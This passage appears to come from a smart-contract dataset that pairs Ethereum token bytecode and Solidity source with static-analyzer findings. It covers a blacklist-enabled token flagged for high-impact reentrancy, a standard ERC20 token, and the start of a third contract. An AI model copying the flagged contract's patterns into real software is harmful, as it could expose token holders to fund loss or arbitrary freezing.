fffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561234057600b54600d81905550600c54600e819055505b5b61234d848484846127a8565b50505050565b600083831115829061239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612392919061366d565b60405180910390fd5b50600083856123aa9190613ac6565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124076002846127d590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612432573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124836002846127d590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124ae573d6000803e3d6000fd5b5050565b60006006548211156124f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f0906136cf565b60405180910390fd5b600061250361281f565b905061251881846127d590919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561255857612557613cd1565b5b6040519080825280602002602001820160405280156125865781602001602082028036833780820191505090505b509050308160008151811061259e5761259d613ca2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561264057600080fd5b505afa158015612654573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126789190613047565b8160018151811061268c5761268b613ca2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126f330601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117b4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127579594939291906138ca565b600060405180830381600087803b15801561277157600080fd5b505af1158015612785573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806127b6576127b561284a565b5b6127c184848461288d565b806127cf576127ce612a58565b5b50505050565b600061281783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a6c565b905092915050565b600080600061282c612acf565b9150915061284381836127d590919063ffffffff16565b9250505090565b6000600d5414801561285e57506000600e54145b156128685761288b565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061289f87612b31565b9550955095509550955095506128fd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b9990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061299285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612be390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129de81612c41565b6129e88483612cfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a4591906138af565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aaa919061366d565b60405180910390fd5b5060008385612ac29190613a3b565b9050809150509392505050565b600080600060065490506000683635c9adc5dea000009050612b05683635c9adc5dea000006006546127d590919063ffffffff16565b821015612b2457600654683635c9adc5dea00000935093505050612b2d565b81819350935050505b9091565b6000806000806000806000806000612b4e8a600d54600e54612d38565b9250925092506000612b5e61281f565b90506000806000612b718e878787612dce565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612bdb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612353565b905092915050565b6000808284612bf291906139e5565b905083811015612c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2e9061376f565b60405180910390fd5b8091505092915050565b6000612c4b61281f565b90506000612c628284612e5790919063ffffffff16565b9050612cb681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612be390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612d1382600654612b9990919063ffffffff16565b600681905550612d2e81600754612be390919063ffffffff16565b6007819055505050565b600080600080612d646064612d56888a612e5790919063ffffffff16565b6127d590919063ffffffff16565b90506000612d8e6064612d80888b612e5790919063ffffffff16565b6127d590919063ffffffff16565b90506000612db782612da9858c612b9990919063ffffffff16565b612b9990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612de78589612e5790919063ffffffff16565b90506000612dfe8689612e5790919063ffffffff16565b90506000612e158789612e5790919063ffffffff16565b90506000612e3e82612e308587612b9990919063ffffffff16565b612b9990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612e6a5760009050612ecc565b60008284612e789190613a6c565b9050828482612e879190613a3b565b14612ec7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ebe906137af565b60405180910390fd5b809150505b92915050565b6000612ee5612ee084613964565b61393f565b90508083825260208201905082856020860282011115612f0857612f07613d0a565b5b60005b85811015612f385781612f1e8882612f42565b845260208401935060208301925050600181019050612f0b565b5050509392505050565b600081359050612f51816141d1565b92915050565b600081519050612f66816141d1565b92915050565b60008083601f840112612f8257612f81613d05565b5b8235905067ffffffffffffffff811115612f9f57612f9e613d00565b5b602083019150836020820283011115612fbb57612fba613d0a565b5b9250929050565b600082601f830112612fd757612fd6613d05565b5b8135612fe7848260208601612ed2565b91505092915050565b600081359050612fff816141e8565b92915050565b600081359050613014816141ff565b92915050565b6000602082840312156130305761302f613d14565b5b600061303e84828501612f42565b91505092915050565b60006020828403121561305d5761305c613d14565b5b600061306b84828501612f57565b91505092915050565b6000806040838503121561308b5761308a613d14565b5b600061309985828601612f42565b92505060206130aa85828601612f42565b9150509250929050565b6000806000606084860312156130cd576130cc613d14565b5b60006130db86828701612f42565b93505060206130ec86828701612f42565b92505060406130fd86828701613005565b9150509250925092565b6000806040838503121561311e5761311d613d14565b5b600061312c85828601612f42565b925050602061313d85828601613005565b9150509250929050565b6000806000604084860312156131605761315f613d14565b5b600084013567ffffffffffffffff81111561317e5761317d613d0f565b5b61318a86828701612f6c565b9350935050602061319d86828701612ff0565b9150509250925092565b6000602082840312156131bd576131bc613d14565b5b600082013567ffffffffffffffff8111156131db576131da613d0f565b5b6131e784828501612fc2565b91505092915050565b60006020828403121561320657613205613d14565b5b600061321484828501612ff0565b91505092915050565b60006020828403121561323357613232613d14565b5b600061324184828501613005565b91505092915050565b6000806000806080858703121561326457613263613d14565b5b600061327287828801613005565b945050602061328387828801613005565b935050604061329487828801613005565b92505060606132a587828801613005565b91505092959194509250565b60006132bd83836132c9565b60208301905092915050565b6132d281613afa565b82525050565b6132e181613afa565b82525050565b60006132f2826139a0565b6132fc81856139c3565b935061330783613990565b8060005b8381101561333857815161331f88826132b1565b975061332a836139b6565b92505060018101905061330b565b5085935050505092915050565b61334e81613b0c565b82525050565b61335d81613b4f565b82525050565b61336c81613b61565b82525050565b600061337d826139ab565b61338781856139d4565b9350613397818560208601613b97565b6133a081613d19565b840191505092915050565b60006133b86023836139d4565b91506133c382613d2a565b604082019050919050565b60006133db603f836139d4565b91506133e682613d79565b604082019050919050565b60006133fe602a836139d4565b915061340982613dc8565b604082019050919050565b6000613421601c836139d4565b915061342c82613e17565b602082019050919050565b60006134446026836139d4565b915061344f82613e40565b604082019050919050565b60006134676022836139d4565b915061347282613e8f565b604082019050919050565b600061348a6023836139d4565b915061349582613ede565b604082019050919050565b60006134ad601b836139d4565b91506134b882613f2d565b602082019050919050565b60006134d06016836139d4565b91506134db82613f56565b602082019050919050565b60006134f36021836139d4565b91506134fe82613f7f565b604082019050919050565b60006135166020836139d4565b915061352182613fce565b602082019050919050565b60006135396029836139d4565b915061354482613ff7565b604082019050919050565b600061355c6025836139d4565b915061356782614046565b604082019050919050565b600061357f6023836139d4565b915061358a82614095565b604082019050919050565b60006135a26024836139d4565b91506135ad826140e4565b604082019050919050565b60006135c56028836139d4565b91506135d082614133565b604082019050919050565b60006135e86026836139d4565b91506135f382614182565b604082019050919050565b61360781613b38565b82525050565b61361681613b42565b82525050565b600060208201905061363160008301846132d8565b92915050565b600060208201905061364c6000830184613345565b92915050565b60006020820190506136676000830184613354565b92915050565b600060208201905081810360008301526136878184613372565b905092915050565b600060208201905081810360008301526136a8816133ab565b9050919050565b600060208201905081810360008301526136c8816133ce565b9050919050565b600060208201905081810360008301526136e8816133f1565b9050919050565b6000602082019050818103600083015261370881613414565b9050919050565b6000602082019050818103600083015261372881613437565b9050919050565b600060208201905081810360008301526137488161345a565b9050919050565b600060208201905081810360008301526137688161347d565b9050919050565b60006020820190508181036000830152613788816134a0565b9050919050565b600060208201905081810360008301526137a8816134c3565b9050919050565b600060208201905081810360008301526137c8816134e6565b9050919050565b600060208201905081810360008301526137e881613509565b9050919050565b600060208201905081810360008301526138088161352c565b9050919050565b600060208201905081810360008301526138288161354f565b9050919050565b6000602082019050818103600083015261384881613572565b9050919050565b6000602082019050818103600083015261386881613595565b9050919050565b60006020820190508181036000830152613888816135b8565b9050919050565b600060208201905081810360008301526138a8816135db565b9050919050565b60006020820190506138c460008301846135fe565b92915050565b600060a0820190506138df60008301886135fe565b6138ec6020830187613363565b81810360408301526138fe81866132e7565b905061390d60608301856132d8565b61391a60808301846135fe565b9695505050505050565b6000602082019050613939600083018461360d565b92915050565b600061394961395a565b90506139558282613bca565b919050565b6000604051905090565b600067ffffffffffffffff82111561397f5761397e613cd1565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006139f082613b38565b91506139fb83613b38565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a3057613a2f613c44565b5b828201905092915050565b6000613a4682613b38565b9150613a5183613b38565b925082613a6157613a60613c73565b5b828204905092915050565b6000613a7782613b38565b9150613a8283613b38565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613abb57613aba613c44565b5b828202905092915050565b6000613ad182613b38565b9150613adc83613b38565b925082821015613aef57613aee613c44565b5b828203905092915050565b6000613b0582613b18565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613b5a82613b73565b9050919050565b6000613b6c82613b38565b9050919050565b6000613b7e82613b85565b9050919050565b6000613b9082613b18565b9050919050565b60005b83811015613bb5578082015181840152602081019050613b9a565b83811115613bc4576000848401525b50505050565b613bd382613d19565b810181811067ffffffffffffffff82111715613bf257613bf1613cd1565b5b80604052505050565b6000613c0682613b38565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613c3957613c38613c44565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f46656573206d75737420626520756e6465722032352500000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460008201527f68616e20302e3125000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f7420736574206d61785478416d6f756e74206c6f7765722074686160008201527f6e20302e31250000000000000000000000000000000000000000000000000000602082015250565b6141da81613afa565b81146141e557600080fd5b50565b6141f181613b0c565b81146141fc57600080fd5b50565b61420881613b38565b811461421357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c10145c39b0f3adfc70c65600ac1e54be5800d170fafec4d5253fec45431fa3d64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,800 |
0xfb374036296d2917c57f3fdc141276fac56b49e8
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20Metadata.sol
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: contracts\open-zeppelin-contracts\utils\Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: contracts\open-zeppelin-contracts\token\ERC20\ERC20.sol
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract Novicoin is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_;
_mint(msg.sender, totalSupply_);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461012957806370a082311461013c57806395d89b4114610165578063a457c2d71461016d578063a9059cbb14610180578063dd62ed3e1461019357600080fd5b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100ef57806323b872dd14610101578063313ce56714610114575b600080fd5b6100b66101cc565b6040516100c391906107e7565b60405180910390f35b6100df6100da3660046107be565b61025e565b60405190151581526020016100c3565b6005545b6040519081526020016100c3565b6100df61010f366004610783565b610274565b60045460405160ff90911681526020016100c3565b6100df6101373660046107be565b61032a565b6100f361014a366004610730565b6001600160a01b031660009081526020819052604090205490565b6100b6610361565b6100df61017b3660046107be565b610370565b6100df61018e3660046107be565b61040b565b6100f36101a1366004610751565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6060600280546101db90610869565b80601f016020809104026020016040519081016040528092919081815260200182805461020790610869565b80156102545780601f1061022957610100808354040283529160200191610254565b820191906000526020600020905b81548152906001019060200180831161023757829003601f168201915b5050505050905090565b600061026b338484610418565b50600192915050565b600061028184848461053c565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561030b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61031f853361031a8685610852565b610418565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161026b91859061031a90869061083a565b6060600380546101db90610869565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156103f25760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610302565b610401338561031a8685610852565b5060019392505050565b600061026b33848461053c565b6001600160a01b03831661047a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610302565b6001600160a01b0382166104db5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610302565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105a05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610302565b6001600160a01b0382166106025760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610302565b6001600160a01b0383166000908152602081905260409020548181101561067a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610302565b6106848282610852565b6001600160a01b0380861660009081526020819052604080822093909355908516815290812080548492906106ba90849061083a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161070691815260200190565b60405180910390a350505050565b80356001600160a01b038116811461072b57600080fd5b919050565b600060208284031215610741578081fd5b61074a82610714565b9392505050565b60008060408385031215610763578081fd5b61076c83610714565b915061077a60208401610714565b90509250929050565b600080600060608486031215610797578081fd5b6107a084610714565b92506107ae60208501610714565b9150604084013590509250925092565b600080604083850312156107d0578182fd5b6107d983610714565b946020939093013593505050565b6000602080835283518082850152825b81811015610813578581018301518582016040015282016107f7565b818111156108245783604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561084d5761084d6108a4565b500190565b600082821015610864576108646108a4565b500390565b600181811c9082168061087d57607f821691505b6020821081141561089e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212203e7e8661a6bb87558bd6edffa28897c17ac8614413b39ecac990bcb084fd90df64736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 7,801 |
0xb6aa337c9005fbf3a10edde47ddde3541adb79cb
|
pragma solidity 0.5.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
